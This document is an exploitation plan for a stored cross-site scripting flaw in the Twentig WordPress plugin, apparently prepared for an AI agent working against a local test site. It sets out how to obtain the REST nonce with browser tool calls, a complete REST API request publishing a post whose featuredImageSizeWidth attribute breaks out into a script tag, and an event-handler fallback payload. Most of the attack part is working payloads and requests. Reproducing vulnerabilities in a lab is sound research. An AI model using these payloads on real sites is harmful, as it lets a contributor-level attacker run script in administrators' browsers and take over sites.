Exploitation Research Plan: CVE-2026-2602 (Twentig Stored XSS)

1. Vulnerability Summary

The Twentig plugin (up to version 1.9.7) fails to properly sanitize and escape the featuredImageSizeWidth attribute used in its block enhancements. This attribute is typically used in blocks that display post grids or featured images (e.g., core/latest-posts or Twentig-specific post blocks). An authenticated attacker with Contributor permissions can inject arbitrary JavaScript by crafting a post containing a block with a malicious featuredImageSizeWidth value. When the post is rendered on the frontend, the payload is executed in the context of any user (including administrators) viewing the page.

2. Attack Vector Analysis

• Endpoint: /wp-json/wp/v2/posts (WordPress REST API) or the standard Post Editor.
• Vulnerable Parameter: featuredImageSizeWidth within a Gutenberg block's attributes.
• Authentication: Authenticated (Contributor level or higher).
• Preconditions: Twentig plugin active; attacker has permission to create or edit posts.
• Sink: The attribute is likely output within an <img> tag's width attribute or a style attribute during the block's server-side rendering process without using esc_attr().

3. Code Flow (Inferred)

1. Input: A Contributor creates a post. The post content contains a block comment:
   <!-- wp:core/latest-posts {"displayFeaturedImage":true,"featuredImageSizeWidth":"[PAYLOAD]"} /-->
2. Storage: WordPress saves this raw string in the post_content column of the wp_posts table.
3. Processing: When a user views the post, WordPress parses the blocks. Twentig likely hooks into render_block or registers a render_callback for blocks it enhances.
4. Sink: Inside the Twentig rendering logic (likely in a class handling block attributes), the value of featuredImageSizeWidth is retrieved:
   $width = $attributes['featuredImageSizeWidth'];
   It is then echoed directly into HTML:
   echo '<div class="..." style="width:' . $width . 'px">'; or <img width="' . $width . '" ...>
5. Execution: The browser interprets the injected HTML/JavaScript.

4. Nonce Acquisition Strategy

Since the exploit requires Contributor-level access, we need a valid REST API nonce (_wpnonce) to submit a post.

1. Access Admin: Navigate to the WordPress dashboard as a Contributor.
2. Identify Variable: WordPress stores the REST nonce in the wpApiSettings object.
3. Extraction:
   • Use browser_navigate to http://localhost:8080/wp-admin/post-new.php.
   • Use browser_eval to extract the nonce:
     browser_eval("window.wpApiSettings?.nonce")
4. Alternative (Plugin-Specific): Twentig localization data (if needed) might be found in twentig_editor_data.
   browser_eval("window.twentig_editor_data?.nonce")

5. Exploitation Strategy

Step 1: Test Data Setup

As a Contributor, we must first ensure there is at least one published post with a featured image so the "Latest Posts" block has something to render.

1. Create a "dummy" post with a featured image using WP-CLI.
2. Identify the block that utilizes featuredImageSizeWidth. Based on the CSS provided (dist/blocks/classic.css), Twentig heavily modifies wp-block-column and image-related blocks. The most likely candidate is an extension of the core/latest-posts block.

Step 2: Craft the Payload

We will use a payload that breaks out of an HTML attribute.
Payload: 100"><script>alert(document.domain)</script>
Block Markup:

<!-- wp:core/latest-posts {"displayFeaturedImage":true,"featuredImageSizeWidth":"100\u0022><script>alert(document.domain)</script>"} /-->

Step 3: Execute the Injection

Submit the malicious post via the REST API using the http_request tool.

• Method: POST
• URL: http://localhost:8080/wp-json/wp/v2/posts
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [EXTRACTED_NONCE]
• Body:

{
  "title": "Twentig XSS Test",
  "content": "<!-- wp:core/latest-posts {\"displayFeaturedImage\":true,\"featuredImageSizeWidth\":\"100\\u0022><script>alert(document.domain)</script>\"} /-->",
  "status": "publish"
}

6. Expected Results

1. The REST API returns a 201 Created response.
2. Navigating to the newly created post URL displays the "Latest Posts" block.
3. The browser executes the script, showing an alert box with the document domain.
4. Inspecting the DOM reveals the breakout:
   <div class="..." style="width:100" ><script>alert(document.domain)</script>px"> or similar.

7. Verification Steps

After the HTTP request, verify the injection using WP-CLI:

# Get the last created post ID
POST_ID=$(wp post list --post_type=post --posts_per_page=1 --format=ids)

# Check the content for the payload
wp post get $POST_ID --field=content

8. Alternative Approaches

If the core/latest-posts block is not the target, try the payload in other potential blocks enhanced by Twentig:

• twentig/post-grid
• core/post-featured-image
• core/columns (where Twentig adds card styling as seen in columns/block.css)

Alternative Payload (Attribute Breakout):
If <script> is filtered, use an event handler:
100" onmouseover="alert(1)" style="display:block;width:100vw;height:100vh" (This covers the screen and triggers on hover).